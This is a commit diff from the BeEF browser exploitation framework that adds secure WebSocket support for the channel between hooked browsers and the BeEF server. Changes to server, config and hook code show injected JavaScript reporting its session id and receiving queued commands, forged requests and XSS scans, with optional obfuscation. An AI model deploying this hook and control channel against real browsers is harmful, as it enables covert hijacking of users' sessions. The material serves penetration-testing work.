Added support for wss, issue #714
This commit is contained in:
9
beef
9
beef
@@ -81,7 +81,7 @@ Socket.do_not_reverse_lookup = true
|
||||
case config.get("beef.database.driver")
|
||||
when "sqlite"
|
||||
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
|
||||
when "mysql","postgres"
|
||||
when "mysql", "postgres"
|
||||
DataMapper.setup(:default,
|
||||
:adapter => config.get("beef.database.driver"),
|
||||
:host => config.get("beef.database.db_host"),
|
||||
@@ -125,11 +125,12 @@ print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
|
||||
if config.get("beef.http.websocket.enable")
|
||||
BeEF::Core::Websocket::Websocket.instance
|
||||
print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], secure [#{config.get("beef.http.websocket.secure")}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
|
||||
if config.get("beef.http.websocket.secure")
|
||||
print_info "Starting WebSocket-Secured server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
# @note Call the API method 'pre_http_start'
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
|
||||
@@ -140,7 +141,7 @@ if config.get("beef.extension.console.shell.enable") == true
|
||||
begin
|
||||
FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
|
||||
BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
|
||||
BeEF::Extension::Console::Shell::DefaultPromptChar,{'config' => config, 'http_hook_server' => http_hook_server}).run
|
||||
BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
|
||||
rescue Interrupt
|
||||
end
|
||||
else
|
||||
|
||||
@@ -17,7 +17,7 @@
|
||||
|
||||
beef:
|
||||
version: '0.4.3.6-alpha'
|
||||
debug: false
|
||||
debug: true
|
||||
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
@@ -41,9 +41,10 @@ beef:
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: false
|
||||
secure: false # use WebSocketSecure
|
||||
enable: true
|
||||
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
|
||||
port: 61985 # good success rate through proxies
|
||||
secure_port: 61986 #to accept wss connection
|
||||
alive_timer: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
@@ -53,7 +54,7 @@ beef:
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
enable: false
|
||||
enable: true
|
||||
# In production environments, be sure to use a valid certificate signed for the value
|
||||
# used in beef.http.dns (the domain name of the server where you run BeEF)
|
||||
key: "beef_key.pem"
|
||||
|
||||
@@ -27,15 +27,18 @@ beef.websocket = {
|
||||
var webSocketPort = <%= @websocket_port %>;
|
||||
var webSocketSecure = <%= @websocket_secure %>;
|
||||
var protocol = "ws://";
|
||||
|
||||
if(webSocketSecure)
|
||||
//console.log("We are inside init");
|
||||
/*use wss only if hooked domain is under tls*/
|
||||
if(webSocketSecure && window.location.protocol=="https:"){
|
||||
protocol = "wss://";
|
||||
webSocketPort= <%= @websocket_sec_port %>;
|
||||
}
|
||||
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
|
||||
} else {
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
}
|
||||
|
||||
},
|
||||
@@ -43,10 +46,10 @@ beef.websocket = {
|
||||
start:function () {
|
||||
new beef.websocket.init();
|
||||
this.socket.onopen = function () {
|
||||
//console.log("Socket has been opened!");
|
||||
//console.log("Socket has been opened!");
|
||||
|
||||
/*send browser id*/
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
/*send browser id*/
|
||||
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
|
||||
//console.log("Connected and Helo");
|
||||
beef.websocket.alive();
|
||||
}
|
||||
|
||||
@@ -14,126 +14,127 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
module Core
|
||||
module Handlers
|
||||
module Modules
|
||||
|
||||
# @note Purpose: avoid rewriting several times the same code.
|
||||
module BeEFJS
|
||||
# @note Purpose: avoid rewriting several times the same code.
|
||||
module BeEFJS
|
||||
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
# @param [Object] req_host The request object
|
||||
def build_beefjs!(req_host)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note set up values required to construct beefjs
|
||||
beefjs = ''
|
||||
# @note location of sub files
|
||||
beefjs_path = "#{$root_dir}/core/main/client/"
|
||||
# @note we load websocket library only if ws server is enabled in config.yalm
|
||||
# check in init.js
|
||||
if config.get("beef.http.websocket.enable")
|
||||
# Builds the default beefjs library (all default components of the library).
|
||||
# @param [Object] req_host The request object
|
||||
def build_beefjs!(req_host)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note set up values required to construct beefjs
|
||||
beefjs = ''
|
||||
# @note location of sub files
|
||||
beefjs_path = "#{$root_dir}/core/main/client/"
|
||||
# @note we load websocket library only if ws server is enabled in config.yalm
|
||||
# check in init.js
|
||||
if config.get("beef.http.websocket.enable")
|
||||
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js)
|
||||
else
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js)
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js are.js)
|
||||
else
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js lib/jools.min.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js are.js)
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
# @note construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
|
||||
}
|
||||
# @note construct the beefjs string from file(s)
|
||||
js_sub_files.each { |js_sub_file_name|
|
||||
js_sub_file_abs_path = beefjs_path + js_sub_file_name
|
||||
beefjs << (File.read(js_sub_file_abs_path) + "\n\n")
|
||||
}
|
||||
|
||||
# @note create the config for the hooked browser session
|
||||
# @note create the config for the hooked browser session
|
||||
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
hook_session_name = config.get('beef.http.hook_session_name')
|
||||
hook_session_config = BeEF::Core::Server.instance.to_h
|
||||
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
# @note if http_host="0.0.0.0" in config ini, use the host requested by client
|
||||
if hook_session_config['beef_host'].eql? "0.0.0.0"
|
||||
hook_session_config['beef_host'] = req_host
|
||||
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
|
||||
end
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
|
||||
if hook_session_config['beef_public_port'] == '443'
|
||||
hook_session_config['beef_url'].sub!(/http:/, 'https:')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if config.get("beef.http.websocket.enable")
|
||||
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
|
||||
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
|
||||
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
|
||||
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
|
||||
end
|
||||
|
||||
@body << @hook
|
||||
|
||||
# @note if http_port <> public_port in config ini, use the public_port
|
||||
unless hook_session_config['beef_public_port'].nil?
|
||||
if hook_session_config['beef_port'] != hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_port'] = hook_session_config['beef_public_port']
|
||||
hook_session_config['beef_url'].sub!(/#{hook_session_config['beef_port']}/, hook_session_config['beef_public_port'])
|
||||
if hook_session_config['beef_public_port'] == '443'
|
||||
hook_session_config['beef_url'].sub!(/http:/, 'https:')
|
||||
end
|
||||
|
||||
# Finds the path to js components
|
||||
# @param [String] component Name of component
|
||||
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
|
||||
def find_beefjs_component_path(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
# Builds missing beefjs components.
|
||||
# @param [Array] beefjs_components An array of component names
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# @note verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each { |k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# @note path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# @note we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
if config.get("beef.http.websocket.enable")
|
||||
hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure")
|
||||
hook_session_config['websocket_port'] = config.get("beef.http.websocket.port")
|
||||
hook_session_config['websocket_timer'] = config.get("beef.http.websocket.alive_timer")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beefjs string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beefjs)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
evasion = BeEF::Extension::Evasion::Evasion.instance
|
||||
@hook = evasion.add_bootstrapper + evasion.obfuscate(@hook)
|
||||
end
|
||||
|
||||
@body << @hook
|
||||
|
||||
end
|
||||
|
||||
# Finds the path to js components
|
||||
# @param [String] component Name of component
|
||||
# @return [String|Boolean] Returns false if path was not found, otherwise returns component path
|
||||
def find_beefjs_component_path(component)
|
||||
component_path = component
|
||||
component_path.gsub!(/beef./, '')
|
||||
component_path.gsub!(/\./, '/')
|
||||
component_path.replace "#{$root_dir}/core/main/client/#{component_path}.js"
|
||||
|
||||
return false if not File.exists? component_path
|
||||
|
||||
component_path
|
||||
end
|
||||
|
||||
# Builds missing beefjs components.
|
||||
# @param [Array] beefjs_components An array of component names
|
||||
def build_missing_beefjs_components(beefjs_components)
|
||||
# @note verifies that @beef_js_cmps is not nil to avoid bugs
|
||||
@beef_js_cmps = '' if @beef_js_cmps.nil?
|
||||
|
||||
if beefjs_components.is_a? String
|
||||
beefjs_components_path = find_beefjs_component_path(beefjs_components)
|
||||
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
|
||||
beefjs_components = {beefjs_components => beefjs_components_path}
|
||||
end
|
||||
|
||||
beefjs_components.keys.each {|k|
|
||||
next if @beef_js_cmps.include? beefjs_components[k]
|
||||
|
||||
# @note path to the component
|
||||
component_path = beefjs_components[k]
|
||||
|
||||
# @note we output the component to the hooked browser
|
||||
@body << File.read(component_path)+"\n\n"
|
||||
|
||||
# @note finally we add the component to the list of components already generated so it does not get generated numerous times.
|
||||
if @beef_js_cmps.eql? ''
|
||||
@beef_js_cmps = component_path
|
||||
else
|
||||
@beef_js_cmps += ",#{component_path}"
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -27,15 +27,88 @@ module BeEF
|
||||
@@activeSocket= Hash.new
|
||||
@@lastalive= Hash.new
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
#@@wsopt=nil
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
def initialize
|
||||
port = @@config.get("beef.http.websocket.port")
|
||||
secure = @@config.get("beef.http.websocket.secure")
|
||||
|
||||
|
||||
secure = @@config.get("beef.http.websocket.secure") #&& @@config.get("beef.http.https.enable")
|
||||
@root_dir = File.expand_path('../../../../../', __FILE__)
|
||||
|
||||
if (secure)
|
||||
#Thread for websocket-secure
|
||||
Thread.new {
|
||||
port = @@config.get("beef.http.websocket.secure_port")
|
||||
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
|
||||
EventMachine.run {
|
||||
|
||||
wsopt = {:host => "0.0.0.0", :port => port, :secure => true,
|
||||
:tls_options => {
|
||||
:private_key_file => @root_dir+"/"+@@config.get("beef.http.https.key"),
|
||||
:cert_chain_file => @root_dir+"/"+ @@config.get("beef.http.https.cert")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
EventMachine::WebSocket.start(wsopt) do |ws|
|
||||
begin
|
||||
print_debug "New WebSocket-secured channel open."
|
||||
ws.onmessage { |msg|
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
if (msg_hash["cookie"]!= nil)
|
||||
print_debug("WebSocket-secured - Browser says helo! WebSocket is running")
|
||||
#insert new connection in activesocket
|
||||
@@activeSocket["#{msg_hash["cookie"]}"] = ws
|
||||
print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]")
|
||||
elsif msg_hash["alive"] != nil
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
|
||||
unless hooked_browser.nil?
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
hooked_browser.count!
|
||||
hooked_browser.save
|
||||
|
||||
#Check if new modules need to be sent
|
||||
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
|
||||
|
||||
#@todo antisnatchor:
|
||||
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
|
||||
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, '')
|
||||
|
||||
#Check if new XssRays scan need to be started
|
||||
xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||
xssrays.start_scan(hooked_browser, '')
|
||||
end
|
||||
else
|
||||
#json recv is a cmd response decode and send all to
|
||||
#we have to call dynamicreconstructor handler camp must be websocket
|
||||
#print_debug("Received from WebSocket #{messageHash}")
|
||||
execute(msg_hash)
|
||||
end
|
||||
}
|
||||
rescue Exception => e
|
||||
print_error "WebSocket-secured error: #{e}"
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
}
|
||||
end
|
||||
|
||||
#Thread for websocket
|
||||
Thread.new {
|
||||
port = @@config.get("beef.http.websocket.port")
|
||||
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
|
||||
EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
|
||||
EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
|
||||
EventMachine.run {
|
||||
|
||||
wsopt = {:host => "0.0.0.0", :port => port}
|
||||
|
||||
|
||||
EventMachine::WebSocket.start(wsopt) do |ws|
|
||||
begin
|
||||
print_debug "New WebSocket channel open."
|
||||
ws.onmessage { |msg|
|
||||
@@ -81,6 +154,7 @@ module BeEF
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
end
|
||||
|
||||
#@note retrieve the right websocket channel given an hooked browser session
|
||||
@@ -115,7 +189,7 @@ module BeEF
|
||||
handler = data["handler"]
|
||||
if handler.match(/command/)
|
||||
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
|
||||
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
else #processing results from extensions, call the right handler
|
||||
data["beefhook"] = hooked_browser
|
||||
data["results"] = JSON.parse(Base64.decode64(data["result"]))
|
||||
|
||||
Reference in New Issue
Block a user